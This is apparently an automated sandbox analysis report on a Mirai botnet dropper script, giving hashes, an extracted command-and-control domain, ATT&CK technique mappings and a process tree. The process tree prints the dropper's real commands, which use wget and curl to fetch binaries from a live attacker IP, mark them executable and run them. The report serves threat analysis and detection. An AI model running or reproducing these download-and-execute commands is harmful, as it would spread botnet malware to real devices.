mirai | 7c31b6f7e29de978c261d41059788662d9d53faf08be61330e611eedcd46d33b

Analysis

max time kernel
8s
max time network
19s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19-12-2024 07:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

feelme420.sh
Size

3KB
MD5

22e9d65b991f00de3a52071664dc52f9
SHA1

2b6dd972572c4c72ecf43bb7b66eebe776cd0360
SHA256

7c31b6f7e29de978c261d41059788662d9d53faf08be61330e611eedcd46d33b
SHA512

eefb50d98fc847673e4c38177789e26ee89ec7f027ec5ec92a842470638a84300f378cf10120afab26fe5a87de34c6616f33fc389be816b4763f0fea0eff18cb

Score

10^/10

mirai antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

chernobyl.stressing.world

Extracted

Family

mirai

chernobyl.stressing.world

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
667	chmod
676	chmod
694	chmod
708	chmod
725	chmod
743	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/f331m3420	668	f331m3420
/tmp/f331m3420	677	f331m3420
/tmp/f331m3420	695	f331m3420
/tmp/f331m3420	709	f331m3420
/tmp/f331m3420	727	f331m3420
/tmp/f331m3420	744	f331m3420

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
674	curl
675	cat
670	wget

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/feelme420.mips	curl
File opened for modification	/tmp/feelme420.mpsl	wget
File opened for modification	/tmp/feelme420.arm	curl
File opened for modification	/tmp/feelme420.arm5	wget
File opened for modification	/tmp/feelme420.arm6	curl
File opened for modification	/tmp/feelme420.x86	wget
File opened for modification	/tmp/feelme420.x86	curl
File opened for modification	/tmp/feelme420.mips	wget
File opened for modification	/tmp/feelme420.arm6	wget
File opened for modification	/tmp/f331m3420	feelme420.sh
File opened for modification	/tmp/feelme420.mpsl	curl
File opened for modification	/tmp/feelme420.arm5	curl

/tmp/feelme420.sh
/tmp/feelme420.sh
1⤵
- Writes file to tmp directory
PID:638
- /usr/bin/wget
  wget http://94.23.167.188/F331M3/feelme420.x86
  2⤵
  - Writes file to tmp directory
  PID:640
- /usr/bin/curl
  curl -O http://94.23.167.188/F331M3/feelme420.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:657
- /bin/cat
  cat feelme420.x86
  2⤵
  PID:665
- /bin/chmod
  chmod +x f331m3420 feelme420.sh feelme420.x86 systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-u1Zrx0
  2⤵
  - File and Directory Permissions Modification
  PID:667
- /tmp/f331m3420
  ./f331m3420 feelme420.exploit
  2⤵
  - Executes dropped EXE
  PID:668
- /usr/bin/wget
  wget http://94.23.167.188/F331M3/feelme420.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:670
- /usr/bin/curl
  curl -O http://94.23.167.188/F331M3/feelme420.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:674
- /bin/cat
  cat feelme420.mips
  2⤵
  - System Network Configuration Discovery
  PID:675
- /bin/chmod
  chmod +x f331m3420 feelme420.mips feelme420.sh feelme420.x86 systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-u1Zrx0
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/f331m3420
  ./f331m3420 feelme420.exploit
  2⤵
  - Executes dropped EXE
  PID:677
- /usr/bin/wget
  wget http://94.23.167.188/F331M3/feelme420.mpsl
  2⤵
  - Writes file to tmp directory
  PID:679
- /usr/bin/curl
  curl -O http://94.23.167.188/F331M3/feelme420.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/cat
  cat feelme420.mpsl
  2⤵
  PID:692
- /bin/chmod
  chmod +x f331m3420 feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86 systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-u1Zrx0
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/f331m3420
  ./f331m3420 feelme420.exploit
  2⤵
  - Executes dropped EXE
  PID:695
- /usr/bin/wget
  wget http://94.23.167.188/F331M3/feelme420.arm
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://94.23.167.188/F331M3/feelme420.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/cat
  cat feelme420.arm
  2⤵
  PID:707
- /bin/chmod
  chmod +x f331m3420 feelme420.arm feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86 systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-u1Zrx0
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/f331m3420
  ./f331m3420 feelme420.exploit
  2⤵
  - Executes dropped EXE
  PID:709
- /usr/bin/wget
  wget http://94.23.167.188/F331M3/feelme420.arm5
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://94.23.167.188/F331M3/feelme420.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/cat
  cat feelme420.arm5
  2⤵
  PID:724
- /bin/chmod
  chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86 systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-u1Zrx0
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/f331m3420
  ./f331m3420 feelme420.exploit
  2⤵
  - Executes dropped EXE
  PID:727
- /usr/bin/wget
  wget http://94.23.167.188/F331M3/feelme420.arm6
  2⤵
  - Writes file to tmp directory
  PID:728
- /usr/bin/curl
  curl -O http://94.23.167.188/F331M3/feelme420.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/cat
  cat feelme420.arm6
  2⤵
  PID:742
- /bin/chmod
  chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86 systemd-private-28ae05ef479d496cab3d3307725cca8b-systemd-timedated.service-u1Zrx0
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/f331m3420
  ./f331m3420 feelme420.exploit
  2⤵
  - Executes dropped EXE
  PID:744
- /usr/bin/wget
  wget http://94.23.167.188/F331M3/feelme420.arm7
  2⤵
  PID:745

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/f331m3420

Filesize
68KB

MD5
71b0c2e7cc122d6de4a481bea5ebc6d9

SHA1
f982ae244188ddd93b797e9548e049b97d2f2c7f

SHA256
de0eaed88adb239921c42f1f8038523d53c735f01992fe773f54e1d181750833

SHA512
f38ed5895d7c420b15688de521df6fc394ae9e1690a5f3628f22bd6489dab21ec8e9fa6dcfca40082d5099763d10b680bba3b43ef6f71016132958aa9a0d7f43

Download Submit
/tmp/f331m3420

Filesize
114KB

MD5
e10ad3d97637588b2056db57a546fa7f

SHA1
138efa03e54a9f1eaed0e587ea259c182a1289d1

SHA256
1ea71a6d347541c7f892d7361fbda4b282fcf5d11aeb7297a8345ce88f78865a

SHA512
c6a9455aa701260796fa9f9b466dccf1166bb11cf3c0d9896f43ea9936f695ace78863f230362b884249bc3a110a3e1f4ad659ea5e9163261fb0bc1c349dd71a

Download Submit
/tmp/f331m3420

Filesize
114KB

MD5
c5d1f6a6e591069acffcaeb19c405a02

SHA1
1265bbf1ff14c6b913ced2f63807aaa93137d87b

SHA256
6e4e8f08dd7471f62194314808a2d1a19b53db947c707a8839ce56c453656049

SHA512
64d63427c40954e8b6c56b2bf56533ed3b06bc347b7add89e15e59fa7ca62ae744ec398384487621b5ace6dd6a6fcb9fe71cdabbcd5ef7379441d9ec779ac5ae

Download Submit
/tmp/f331m3420

Filesize
218B

MD5
9efd7ff37a85d83af5298b3671491070

SHA1
24c2fbed0abb244b610f6aa0a429c50902d7a682

SHA256
a90c0ae7235ef04a7df3797ab4f15c35e1d5f04fafbf06d81df3e6ce82e7a7b4

SHA512
20204386063b3ea13c5db7527c80c8f651b8b6b003c8282335e79f4ded81aabf8e36bed2d238c6da09360e9f94cec954993eb366b409a38b4720c376621c4cf8

Download Submit
/tmp/f331m3420

Filesize
63KB

MD5
8e8b3e650b8b979fca40999c2aef8077

SHA1
af3f71ef4f46e03afc6c060ff3fdb858b98a54eb

SHA256
ec953f9e9a20a77753750cf458536542c6e1a6871ea73e2d4dfb74b7055898c4

SHA512
bb940245f77d7a2d886e71561f7d3a2beb3f6f0ada5a3a61718abe947be028a93a6eb21833e07d1710f4b425c0767184f5cd41890e81fefcd66e12273971151f

Download Submit
/tmp/f331m3420

Filesize
85KB

MD5
5220e134fa279351e3619652248cacb5

SHA1
b000737e17f6c10f2d6e8e67d21b66e70837b727

SHA256
51d13661b3ef8c32d781ab60117e0b10f10d520edfbd85e2c5eb00c1c6658561

SHA512
efa2adeef0a5f91b56819c9270fc1b3e71890f37410c6a312ef49d999c3be3bd5d03dc5210e451910df00b6359d5d699fc71694c76f0d7dd9667d141fb81f355

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads